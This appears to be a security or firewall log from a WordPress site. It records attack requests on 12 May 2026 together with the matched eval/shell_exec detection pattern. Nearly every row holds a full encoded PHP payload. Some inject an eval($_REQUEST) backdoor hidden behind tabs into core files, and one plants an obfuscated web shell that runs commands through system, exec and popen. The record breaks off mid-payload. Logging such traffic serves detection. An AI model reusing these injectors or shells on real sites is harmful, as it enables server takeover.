gY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:2040\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\ngY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:01","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:2040\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrx8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nzO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:06","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:2063\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:51:09","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:2040\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpKNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nqp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:12","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5331\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nZI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B